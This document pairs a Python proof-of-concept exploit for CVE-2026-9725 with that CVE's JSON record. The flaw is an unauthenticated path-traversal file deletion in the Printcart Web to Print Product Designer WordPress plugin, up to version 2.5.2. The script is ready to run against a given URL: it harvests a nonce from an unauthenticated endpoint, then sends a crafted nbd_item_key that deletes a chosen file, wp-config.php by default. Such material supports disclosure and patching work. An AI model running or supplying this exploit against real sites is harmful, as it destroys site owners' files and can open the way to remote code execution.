CVE-2026-9725

#!/usr/bin/env python3 """ CVE-2026-9725 PoC - Printcart Web to Print Product Designer Arbitrary File Deletion This PoC demonstrates how an unauthenticated attacker can exploit the path traversal vulnerability in the store_design_data() function to delete arbitrary files. """ import requests import sys import re TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" FILE_TO_DELETE = sys.argv[2] if len(sys.argv) > 2 else "../../../wp-config.php" def get_nonce(session, target_url): """Step 1: Obtain the CSRF nonce from nbd_check_use_logged_in endpoint.""" # The nbd_check_use_logged_in endpoint freely provides the nonce # without requiring authentication nonce_url = f"{target_url}/wp-admin/admin-ajax.php" params = {"action": "nbd_check_use_logged_in"} resp = session.get(nonce_url, params=params) # Extract nonce from response (it may be in JSON or HTML) match = re.search(r'nonce["\s:]+([a-f0-9]+)', resp.text, re.IGNORECASE) if match: return match.group(1) # Try JSON response try: data = resp.json() return data.get("nonce", data.get("data", {}).get("nonce")) except Exception: return resp.text.strip().strip('"') def exploit_file_deletion(session, target_url, nonce, target_file): """Step 2: Send malicious request to delete arbitrary file via path traversal.""" ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Craft payload with path traversal in nbd_item_key parameter # The sanitize_text_field() does NOT strip ../ sequences payload = { "action": "nbd_save_customer_design", "nonce": nonce, "nbd_item_key": target_file, # Path traversal payload "product_id": "1", "design_id": "1" } resp = session.post(ajax_url, data=payload) print(f"[*] Exploit response status: {resp.status_code}") print(f"[*] Response body: {resp.text[:500]}") return resp def main(): print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Target file to delete: {FILE_TO_DELETE}") session = requests.Session() # Step 1: Obtain nonce from unauthenticated endpoint print("[*] Step 1: Obtaining CSRF nonce from nbd_check_use_logged_in...") nonce = get_nonce(session, TARGET_URL) print(f"[+] Nonce obtained: {nonce}") # Step 2: Send crafted request to trigger arbitrary file deletion print("[*] Step 2: Sending malicious request to nbd_save_customer_design...") resp = exploit_file_deletion(session, TARGET_URL, nonce, FILE_TO_DELETE) if resp.status_code == 200: print("[+] Exploit completed. Target file may have been deleted.") else: print("[-] Exploit may have failed. Check the response above.") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2026-9725", "sourceIdentifier": "[email protected]", "published": "2026-07-03T06:16:23.263", "lastModified": "2026-07-03T06:16:23.263", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Printcart Web to Print Product Designer for WooCommerce plugin for WordPress is vulnerable to Arbitrary File Deletion in versions up to, and including, 2.5.2 This is due to insufficient path validation in the store_design_data() function, which constructs a filesystem path from the user-supplied 'nbd_item_key' POST parameter sanitized only with sanitize_text_field() — which does not strip path traversal sequences — and then passes that path directly to Nbdesigner_IO::delete_folder() and PHP's rename(). The nonce protecting the nbd_save_customer_design AJAX action is freely obtainable by unauthenticated users via the nbd_check_use_logged_in endpoint. This makes it possible for unauthenticated attackers to delete arbitrary files on the affected site's server which may make remote code execution possible."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "printcart", "product": "Printcart Web to Print Product Designer for WooCommerce", "defaultStatus": "unaffected", "versions": [{"version": "0", "lessThanOrEqual": "2.5.2", "versionType": "semver", "status": "affected"}]}]}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/printcart-integration/tags/2.4.8/includes/class.nbdesigner.php#L214", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/printcart-integration/tags/2.4.8/includes/class.nbdesigner.php#L3246", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/printcart-integration/tags/2.4.8/includes/class.nbdesigner.php#L3698", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3593521/printcart-integration/trunk/includes/class.nbdesigner.php", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fprintcart-integration/tags/2.5.2&new_path=%2Fprintcart-integration/tags/2.5.3", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5bb962bd-9b23-4820-885e-d8095250c3c7?source=cve", "source": "[email protected]"}]}}